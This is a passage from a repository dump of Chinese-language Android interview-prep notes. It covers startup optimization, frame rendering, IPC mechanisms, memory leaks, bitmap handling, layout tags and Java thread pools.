LitePal.initialize(this.getApplicationContext());\n    }\n}\n```\n\n使用IntentService不同于Service, 它是工作在后台线程的.\n\nIntentService代码如下：\n\n```\npublic class InitializeService extends IntentService {\n    private static final String ACTION_INIT_WHEN_APP_CREATE = \"com.maweiqi\";\n    public InitializeService(String name) {\n        super(name);\n    }\n\n    @Override\n    protected void onHandleIntent(Intent intent) {\n        if (intent != null) {\n            final String action = intent.getAction();\n            if (ACTION_INIT_WHEN_APP_CREATE.equals(action)) {\n                performInit();\n            }\n        }\n    }\n    private void performInit() {\n        LitePal.initialize(this.getApplicationContext());\n    }\n    public static void start(Context context) {\n        Intent intent = new Intent(context, InitializeService.class);\n        intent.setAction(ACTION_INIT_WHEN_APP_CREATE);\n        context.startService(intent);\n    }\n}\n```\n\nMyApp的onCreate改成:\n\n```\npublic class MyApp extends Application {\n    @Override\n    public void onCreate() {\n        super.onCreate();\n        InitializeService.start(this);\n    }\n}\n```\n\n最终的效果\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-78d1dbedbd643c38.gif?imageMogr2/auto-orient/strip)\n\n界面预加载\n\n当系统加载一个Activity的时候，onCreate()是一个耗时过程，那么在这个过程中，系统为了让用户能有一个比较好的体验，实际上会先绘制一些初始界面，类似于PlaceHolder。\n\n系统首先会读取当前Activity的Theme，然后根据Theme中的配置来绘制，当Activity加载完毕后，才会替换为真正的界面。所以，Google官方提供的解决方案，就是通过android:windowBackground属性，来进行加载前的配置，同时，这里不仅可以配置颜色，还能配置图片，例如，我们可以使用一个layer-list来作为android:windowBackground要显示的图：\n\n在drawable文件夹下面 , 做一个logo_splash的背景:\nstart_window.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<layer-list xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <!-- 底层白色 -->\n    <item android:drawable=\"@color/white\" />\n\n    <!-- 顶层Logo居中 -->\n    <item>\n        <bitmap\n            android:gravity=\"center\"\n            android:src=\"@drawable/ic_github\" />\n    </item>\n</layer-list>\n```\n\n在style里面弄一个主题:\n\n```xml\n<style name=\"StartStyle\" parent=\"AppTheme\">\n        <item name=\"android:windowBackground\">@drawable/start_window</item>\n    </style>\n```\n\n在清单文件里面给Activity指定需要预加载的Style：\n\n```xml\n<activity android:name=\".MainActivity\" android:theme=\"@style/StartStyle\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\"/>\n\n                <category android:name=\"android.intent.category.LAUNCHER\"/>\n            </intent-filter>\n        </activity>\n```\n\nactivity代码如下：\n\n```java\npublic class MainActivity extends AppCompatActivity {\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n\n        setTheme(R.style.AppTheme);\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n\n    }\n}\n```\n\n#### 首屏Activity的渲染\n\nAndroid系统每隔16ms会发出VSYNC信号重绘我们的界面(Activity).\n为什么是16ms, 因为Android设定的刷新率是60FPS(Frame Per Second), 也就是每秒60帧的刷新率, 约合16ms刷新一次.就像是这样的:\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-12fb140cf501a731.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n这就意味着, 我们需要在16ms内完成下一次要刷新的界面的相关运算, 以便界面刷新更新. 然而, 如果我们无法在16ms内完成此次运算会怎样呢?\n\n例如, 假设我们更新屏幕的背景图片, 需要24ms来做这次运算. 当系统在第一个16ms时刷新界面, 然而我们的运算还没有结束, 无法绘出图片. 当系统隔16ms再发一次VSYNC信息重绘界面时, 用户才会看到更新后的图片. 也就是说用户是32ms后看到了这次刷新(注意, 并不是24ms). 这就是传说中的丢帧(dropped frame):\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-4ddbcaee727cbffc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n丢帧给用户的感觉就是卡顿, 而且如果运算过于复杂, 丢帧会更多, 导致界面常常处于停滞状态, 卡到爆.\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/性能优化/README.md",
    "content": "## 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](与性能优化相关试题一.md)\n- [UI优化和线程池实现原理](与性能优化相关试题二.md)\n- [代码优化](与性能优化相关试题三.md)\n- [Android应用UI性能分析](Android应用UI性能分析.md)\n- [内存泄漏监测](内存泄漏监测.md)\n- [App应用启动分析与优化](App应用启动分析与优化.md)\n- [与IPC机制相关面试题](与IPC机制相关面试题.md)"
  },
  {
    "path": "docs/android/Android-Interview/性能优化/与IPC机制相关面试题.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://blog.csdn.net/mwq384807683/article/details/71435960)\n\n> 现在三四月份，金三银四最好找工作时间，为方便各位找工作，特意收集100道android各个方面的面试题，并且会一一录制视频分享给大家方便大家找工作，面试题分类如下；\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-4437ab22b7af3cc8.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-22abf62d3d9f68a5.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-6838fa267298201a.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-c8d1161109029383.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n### 本文配套视频\n\n- [配套视频](https://v.qq.com/x/page/a03916l1n7h.html)\n- [配套视频](https://v.qq.com/x/page/m0391pnoyl7.html)\n- [配套视频](https://v.qq.com/x/page/t0391b2gjm5.html)\n- [配套视频](https://v.qq.com/x/page/v0391vx3ynb.html)\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n## 1- Davik进程、linux进程、线程之间的区别？\n\n### Linux进程：\n\n- Linux进程，它有独立的内核堆栈和独立的存储空间，它是操作系统中资源分配和调度的最小单位。\n- Linux操作系统会以进程为单位，分配系统资源，给程序进行调度。\n- Linux操作系统在执行一个程序时，它会创建一个进程，来执行应用程序，并且伴随着资源的分配和释放。\n\n### Davik进程：\n\n- Dalvik虚拟机运行在Linux操作系统之上。\n- Davik进程就是Linux操作系统中的一个进程，属于linux进程\n- 每个Android应用程序进程都有一个Dalvik虚拟机实例。这样做得好处是Android应用程序进程之间不会互相影响，也就是说，一个Android应用程序进程的意外终止，不会影响到其他的应用程序进程的正常运行。\n\n### 线程：\n\n- 线程是进程的一个实体，是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。\n- 线程自己基本上不拥有系统资源,在运行时，只需要必不可少的资源(如程序计数器,一组寄存器和栈)。\n- 线程与同属一个进程的其他的线程共享进程所拥有的全部资源。\n\n### 三者之间的联系：\n\n- Davik进程就是Linux操作系统的一个进程。\n- 线程就是进程的一个实体，线程是进程的一部分。一个进程中可以提供多个线程执行控制。\n\n### 进程和线程的区别：\n\n- 一个程序至少有一个进程,一个进程至少有一个线程.\n- 线程的划分尺度小于进程，使得多线程程序的并发性高。\n- 进程在执行过程中拥有独立的内存单元，而多个线程共享内存(同属一个进程)，从而极大地提高了程序的运行效率。\n- 每个独立的进程有一个程序运行的入口、顺序执行序列和程序的出口。但是线程不能够独立执行，必须依存在应用程序中，由应用程序提供多个线程执行控制。\n- 从逻辑角度来看，多线程的意义在于一个应用程序中，有多个执行部分可以同时执行。但操作系统并没有将多个线程看做多个独立的应用，来实现进程的调度和管理以及资源分配。这就是进程和线程的重要区别。\n\n# 2-Android 中进程与进程之间如何通信？\n\n> aidl机制进程间通信\n> AIDL: (Android Interface definition language的缩写)它是一种android内部进程通信接口的描述语言，通过它我们可以定义进程间的通信接口\n\nAIDL进程间通讯的原理：\n通过编写aidl文件来定义进程间通信接口。\n编译后会自动生成响应的java文件\n服务器将接口的具体实现写在Stub中，用iBinder对象传递给客户端，\n客户端bindService的时候，用asInterface的形式将iBinder还原成接口，再调用其接口中的方法来实现通信。\n\n### 使用Messenger实现进程间通信\n\n> Messenger是基于AIDL实现的。\n> AIDL使服务器可以并行处理，而Messenger封装了AIDL之后只能串行运行，所以Messenger一般用作消息传递。\n\n- 需要大家注意：\n- 区别Messenger和Message。\n  - Message是消息，承载了要传递的数据。\n  - Messenger是信使，可以发送消息。并且Messenger对象可以通过getBinder方法获取一个Ibinder对象。\n\n### Messenger实现原理：\n\n> 服务端（被动方）提供一个Service来处理客户端（主动方）连接，维护一个Handler来创建Messenger，在onBind时返回Messenger的binder。\n> 双方用Messenger来发送数据，用Handler来处理数据。Messenger处理数据依靠Handler，所以是串行的，也就是说，Handler接到多个message时，就要排队依次处理。\n\n### 使用Messenger实现进程间通信方法如下：\n\n- 首先A应用提供一个Service，创建一个Messenger对象，在onBinder方法里返回messenger.getBinder()生成的IBinder对象；\n  然后在B应用绑定该Service，在ServiceConnection的onServiceConnected方法获取到IBinder对象；\n- 最后在B应用使用获取到的binder对象构造出一个新的Messenger对象，使用该Messenger对象的send方法发送的Message数据，都将被Service里的Messenger对象handlerMessage方法接收到。\n\n### 内容提供者ContentProvider实现进程间通信\n\n系统四大组件之一，底层也是Binder实现，主要用来为其他APP提供数据。\n\n> 自定义的ContentProvider为外界进程访问的时候，\n> 需要在注册时要提供authorities属性，应用需要访问的时候将属性包装成Uri.parse(\"content://authorities\")。\n\n- 然后实现：\n  ContentProvider的中query，delete，insert等相关方法，进行数据的操作。\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/性能优化/与性能优化相关试题一.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频\n\n- [配套视频](https://v.qq.com/x/page/n0391if5dtb.html)\n- [配套视频](https://v.qq.com/x/page/q03917e4zk5.html)\n- [配套视频](https://v.qq.com/x/page/j03927ullcj.html)\n\n### 9-内存泄漏和内存溢出分别是什么？它们有什么关系？\n\n- 内存泄露是指保存了不可能再被访问的变量引用，导致垃圾回收器无法回收内存。\n  也就是说：在Java中有些对象的生命周期是有限的，当它们完成了特定的逻辑后将会被垃圾回收；但是，如果在对象的生命周期本来该被垃圾回收时这个对象还被别的对象所持有引用，那就会导致内存泄漏\n\n\n- 内存溢出是指虚拟机内存耗尽，无法为新对象分配内存，导致引用崩溃。典型的情况为加载多张大图，导致内存耗尽。\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-edf3c4ee63ad3c13.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n- 当某个界面存在内存泄露，反复进入该界面，将导致一直有新对象创建但是无法回收，最终内存耗尽，产生内存溢出。\n\n### 10-什么情况下会导致内存泄漏\n\n- 资源释放问题\n  程序代码的问题，长期保持某些资源，如Context、Cursor、IO流的引用，资源得不到释放造成内存泄露。\n- 对象内存过大问题\n  保存了多个耗用内存过大的对象（如Bitmap、XML文件），造成内存超出限制。\n- static关键字的使用问题\n  static是Java中的一个关键字，当用它来修饰成员变量时，那么该变量就属于该类，而不是该类的实例。所以用static修饰的变量，它的生命周期是很长的，如果用它来引用一些资源耗费过多的实例（Context的情况最多），这时就要谨慎对待了。\n  针对static的解决方案：\n  1) 应该尽量避免static成员变量引用资源耗费过多的实例，比如Context。\n  2) Context尽量使用ApplicationContext，因为Application的Context的生命周期比较长，引用它不会出现内存泄露的问题。\n  3) 使用WeakReference代替强引用。比如可以使用WeakReference<Context> mContextRef;\n- 线程导致内存溢出\n  线程产生内存泄露的主要原因在于线程生命周期的不可控。\n  针对这种线程导致的内存泄露问题的解决方案：\n  - 将线程的内部类，改为静态内部类（因为非静态内部类拥有外部类对象的强引用，而静态类则不拥有）。\n  - 在线程内部采用弱引用保存Context引用。\n\n\n- 查询数据库没有关闭cursor\n  程序中经常会进行查询数据库的操作，但是经常会有使用完毕Cursor后没有关闭的情况。如果我们的查询结果集比较小，对内存的消耗不容易被发现，只有在常时间大量操作的情况下才会出现内存问题，这样就会给以后的测试和问题排查带来困难和风险。\n\n\n- 构造Adapter没有复用convertview\n  在使用ListView的时候通常会使用Adapter，那么我们应该尽可能的使用ConvertView。\n  为什么要复用convertView?\n  当convertView为空时，用setTag()方法为每个View绑定一个存放控件的ViewHolder对象。当convertView不为空，重复利用已经创建的view的时候，使用getTag()方法获取绑定的ViewHolder对象，这样就避免了findViewById对控件的层层查询，而是快速定位到控件。\n\n\n- Bitmap不再使用时没有调用recycle()释放内存\n\n有时我们会手工的操作Bitmap对象，如果一个Bitmap对象比较占内存，当它不再被使用的时候，可以调用Bitmap.recycle()方法回收此对象的像素所占用的内存，但这不是必须的，视情况而定。\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/性能优化/与性能优化相关试题三.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频\n\n- [String字符串优化配套视频](https://v.qq.com/x/page/k0393ataw3l.html)\n- [其他优化配套视频](https://v.qq.com/x/page/j0393gm2p7j.html)\n\n## String字符串优化\n\n最常见的例子就是当你要频繁操作一个字符串时，使用StringBuffer代替String。\n还比如：使用int数组而不是Integer数组。\n避免创建短命的临时对象，减少对象的创建就能减少垃圾收集，进而减少对用户体验的影响。\n\n## ListView优化\n\n1. Item布局，层级越少越好，使用hierarchyview工具查看优化。\n2. 复用convertView\n3. 使用ViewHolder\n4. item中有图片时，异步加载\n5. 快速滑动时，不加载图片\n6. item中有图片时，应对图片进行适当压缩\n7. 实现数据的分页加载\n\n## 减少不必要的全局变量\n\n尽量避免static成员变量引用资源耗费过多的实例，比如Context。\n因为Context的引用超过它本身的生命周期，会导致Context泄漏。所以尽量使用Application这种Context类型。\n你可以通过调用Context.getApplicationContext()或 Activity.getApplication()轻松得到Application对象。\n\n## Cursor（游标）回收\n\nCursor是Android查询数据后得到的一个管理数据集合的类，在使用结束以后。应该保证Cursor占用的内存被及时的释放掉，而不是等待GC来处理。并且Android明显是倾向于编程者手动的将Cursor close掉，因为在源代码中我们发现，如果等到垃圾回收器来回收时，会给用户以错误提示。\n\n## Receiver（接收器）回收\n\n调用registerReceiver()后未调用unregisterReceiver().\n当我们Activity中使用了registerReceiver()方法注册了BroadcastReceiver，一定要在Activity的生命周期内调用unregisterReceiver()方法取消注册\n也就是说registerReceiver()和unregisterReceiver()方法一定要成对出现，通常我们可以重写Activity的onDestory()方法，在onDestory里进行unregisterReceiver操作\n\n## Stream/File（流/文件）回收\n\n主要针对各种流，文件资源等等如：\nInputStream/OutputStream，SQLiteOpenHelper，SQLiteDatabase，Cursor，文件，I/O，Bitmap图片等操作等都应该记得显示关闭。\n\n## 避免内部Getters/Setters\n\n在Android中，虚方法调用的代价比直接字段访问高昂许多。通常根据面向对象语言的实践，在公共接口中使用Getters和Setters是有道理的，但在一个字段经常被访问的类中宜采用直接访问。\nfor循环\n访问成员变量比访问本地变量慢得多，如下面一段代码：\n\n```\nfor(int i =0; i < this.mCount; i++)  {}\n```\n\n永远不要在for的第二个条件中调用任何方法，如下面一段代码：\n\n```\nfor(int i =0; i < this.getCount(); i++) {}\n```\n\n对上面两个例子最好改为：\n\n```\nint count = this.mCount; / int count = this.getCount();  \nfor(int i =0; i < count; i++)  {}\n```\n\n- 欢迎关注微信公众号，长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/性能优化/与性能优化相关试题二.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频\n\n- [配套视频](https://v.qq.com/x/page/w0392bn6wto.html)\n- [配套视频](https://v.qq.com/x/page/j0393ytx9ob.html)\n- [线程池原理配套视频](https://v.qq.com/x/page/u0393izwfut.html)\n\n11-说一下如何对Android内存优化上集？\n\n## Bitmap OOM（图片优化）\n\n### 1. 图片处理\n\n#### a． 等比缩放\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-82ef6ff37b935245.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n以上代码可以优化内存溢出，但它只是改变图片大小，并不能彻底解决内存溢出。\n\n#### b． 对图片采用软引用，及时地进行recyle()操作\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-89cce346d56154a0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n#### c． 设置图片解码格式\n\n```java\nBitmapFactory.Options options = new BitmapFactory.Options();\noptions.inPreferredConfig = Bitmap.Config.ARGB_4444;\n```\n\n#### d． 加载部分图片\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-5cfa36fe83a5a2e1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n#### 2. 图片的缓存\n\na) 网络缓存\nb) 内存缓存\nc) 磁盘缓存\n\n#### 3. 使用加载图片框架处理图片，如专业处理加载图片的ImageLoader，glide，picasso等图片加载框架。\n\n通过以上方式可以解决图片OOM异常\n\n## UI Review（UI优化）\n\n减少视图层级\n减少视图层级可以有效的减少内存消耗，因为视图是一个树形结构，每次刷新和渲染都会遍历一次。\n\n### ViewStub标签\n\n此标签可以使UI在特殊情况下，直观效果类似于设置View的不可见性，但是其更大的意义在于被这个标签所包裹的Views在默认状态下不会占用任何内存空间。\n\n```xml\n<ViewStub  \n        android:id=\"@+id/mystub\"  \n        android:layout_width=\"wrap_content\"  \n        android:layout_height=\"wrap_content\"  \n        android:layout=\"@layout/common_msg\" >  \n </ViewStub>\n```\n\n### include标签\n\n可以通过这个标签直接加载外部的xml到当前结构中，是复用UI资源的常用标签。\n\n```xml\n<include \n        layout=\"@layout/activity_main\" />\n```\n\n### merge标签\n\n它在优化UI结构时起到很重要的作用。目的是通过删减多余或者额外的层级，从而优化整个Android Layout的结构。\n\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<merge xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    >\n\n    <ImageView\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\" \n        android:background=\"@drawable/ic_launcher\"/>\n\n    <TextView \n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\" \n        android:layout_marginLeft=\"50dp\"\n        android:layout_marginTop=\"10dp\"\n        android:textSize=\"20sp\"\n        android:text=\"我是小黑马\"\n        />\n\n</merge>\n```\n\n```xml\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:orientation=\"horizontal\" >\n\n    <ImageView\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:background=\"@drawable/ic_launcher\" />\n\n    <TextView\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_marginLeft=\"50dp\"\n        android:layout_marginTop=\"10dp\"\n        android:text=\"我是小黑马\"\n        android:textSize=\"20sp\" />\n\n</LinearLayout>\n```\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-e93176a6e09be825.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n实现一模一样的效果，我们通过SDK自带工具检测android层级关系\n\n- 使用merge标签，布局少一个层级\n\n  ![img](http://upload-images.jianshu.io/upload_images/4037105-397ffb39b2ab0bef.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n- 不使用merge标签，布局多一个层级\n\n  ![img](http://upload-images.jianshu.io/upload_images/4037105-ca547716b1b0d7df.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\nFragment优化\n直接使用系统APP包下面的Fragment，不要使用V4包里面的Fragment可以减少层级结构。\n\n## 使用ThreadPool优化代码（线程池实现原理）\n\n### 1. new Thread的弊端\n\n执行一个异步任务你还只是如下new Thread吗？\n\nnew Thread的弊端如下：\n\n- 每次new Thread新建对象性能差。\n- 线程缺乏统一管理，可能无限制新建线程，相互之间竞争，及可能占用过多系统资源导致死机或oom。\n- 缺乏更多功能，如定时执行、定期执行、线程中断。\n\n相比new Thread，Java提供的四种线程池的好处在于：\n\n- 重用存在的线程，减少对象创建、消亡的开销，性能佳。\n- 可有效控制最大并发线程数，提高系统资源的使用率，同时避免过多资源竞争，避免堵塞。\n- 提供定时执行、定期执行、单线程、并发数控制等功能。\n\n### 2. Java 线程池\n\nJava通过Executors提供四种线程池，分别为：\nnewCachedThreadPool() 创建一个可缓存线程池，如果线程池长度超过处理需要，可灵活回收空闲线程，若无可回收，则新建线程。\nnewFixedThreadPool() 创建一个定长线程池，可控制线程最大并发数，超出的线程会在队列中等待。\nnewScheduledThreadPool() 创建一个定长线程池，支持定时及周期性任务执行。\nnewSingleThreadExecutor() 创建一个单线程化的线程池，它只会用唯一的工作线程来执行任务，保证所有任务按照指定顺序(FIFO, LIFO, 优先级)执行。\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/性能优化/内存泄漏监测.md",
